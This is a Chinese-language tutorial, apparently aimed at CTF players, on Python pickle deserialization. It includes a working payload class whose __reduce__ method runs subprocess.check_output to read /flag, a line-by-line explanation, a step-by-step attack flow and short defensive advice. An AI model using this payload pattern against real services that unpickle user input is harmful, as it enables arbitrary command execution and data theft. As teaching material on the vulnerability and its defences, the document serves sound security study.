少女祈祷中...

python反序列化基础

python反序列通常会用Pickle组件进行操作,和python中的json转换一样,使用loadsdumps2个函数实现反序列化和序列化操作

1
2
3
4
5
6
7
8
9
import pickle

text = 'helloworld'

sertext = pickle.dumps(text) 转化为josn字符
print(sertext)
reltext = pickle.loads(sertext) 输出为人看得懂的(反序列化)
print(reltext)

原理与PHP反序列化差不多其实

简单代码:

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class Exploit:
def __reduce__(self):
# 直接执行ls并返回结果(适用于显示反序列化结果的场景)
return (__import__('subprocess').check_output, (['cat','/flag'],))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

1. 代码逐行分析

1.1 导入依赖库

python

复制

1
2
import pickle
import base64
  • **pickle**:Python内置的序列化模块,用于将对象转换为字节流(序列化)或从字节流重建对象(反序列化)。
  • **base64**:用于将二进制数据编码为ASCII字符串,便于在网络或文本环境中传输。

1.2 定义恶意类 Exploit

python

复制

1
2
3
4
class Exploit:
def __reduce__(self):
# 核心逻辑:定义反序列化时执行的代码
return (__import__('subprocess').check_output, (['cat','/flag'],))
  • __reduce__ 方法
    • 在对象被序列化时,若类定义了此方法,pickle 会调用它。
    • 返回值必须是一个元组,格式为 (callable, args),其中:
      • **callable**:可调用对象(如函数、类)。
      • **args**:传递给可调用对象的参数(必须是元组)。
    • 此处返回的 callablesubprocess.check_output(用于执行系统命令并捕获输出),args 是命令列表 ['cat', '/flag']

1.3 生成Payload并编码

python

复制

1
2
payload = pickle.dumps(Exploit())  # 序列化对象为字节流
print(base64.b64encode(payload).decode()) # Base64编码为ASCII字符串
  • **pickle.dumps()**:将 Exploit 类的实例序列化为二进制数据(字节流)。
  • **base64.b64encode()**:将二进制数据编码为Base64字符串,确保其可通过文本协议(如HTTP)传输。

2. 攻击原理

2.1 反序列化过程触发代码执行

当服务端对接收到的Base64字符串进行反序列化(如调用 pickle.loads())时,会执行以下操作:

  1. 重建 Exploit 对象:根据序列化数据调用 __reduce__ 方法。
  2. **执行 subprocess.check_output(['cat', '/flag'])**:
    • **subprocess.check_output()**:执行系统命令 cat /flag,并返回命令的标准输出(即文件内容)。
    • **cat /flag**:读取目标文件 /flag 的内容(假设CTF的flag存储在此路径)。

2.2 结果回显

  • 如果服务端在反序列化后将结果返回给用户(例如打印到响应中),你将在输出中直接看到 /flag 文件的内容。

  • 示例输出:

    复制

    1
    反序列化成功: b'CTF{this_is_a_fake_flag}\n'

3. 关键点解析

3.1 为何 subprocess.check_output 有效?

  • 命令执行check_output 会执行给定的命令,并捕获其输出(以字节流形式返回)。
  • 无Shell依赖:命令参数以列表形式传递(如 ['cat', '/flag']),避免Shell注入风险,同时确保参数正确解析。

3.2 为何需要Base64编码?

  • 传输安全:二进制序列化数据可能包含不可打印字符,Base64编码后仅包含字母、数字和 +/= 符号,适合通过HTTP请求或表单提交。

3.3 为何 __reduce__ 方法是关键?

  • Hook点pickle 在反序列化时会自动调用 __reduce__,使得攻击者可以注入任意代码执行逻辑。

4. 防御与风险

4.1 为何这种攻击有效?

  • 设计缺陷pickle 反序列化本质上是“重建对象时执行任意代码”,无法验证数据来源的合法性。
  • 服务端信任输入:若服务端反序列化了用户可控的未经验证的数据,攻击即可成功。

4.2 如何防御此类攻击?

  • 禁止反序列化不可信数据:最根本的解决方案。
  • 使用安全序列化格式:如JSON、XML(不涉及代码执行)。
  • 签名验证:对序列化数据签名,确保未被篡改。

5. 完整攻击流程

  1. 构造Payload:生成包含恶意 Exploit 类的序列化数据。
  2. Base64编码:转换为可传输的文本格式。
  3. 提交Payload:通过HTTP请求或其他接口发送给服务端。
  4. 触发攻击:服务端反序列化数据,执行 cat /flag
  5. 获取结果:从响应中提取flag。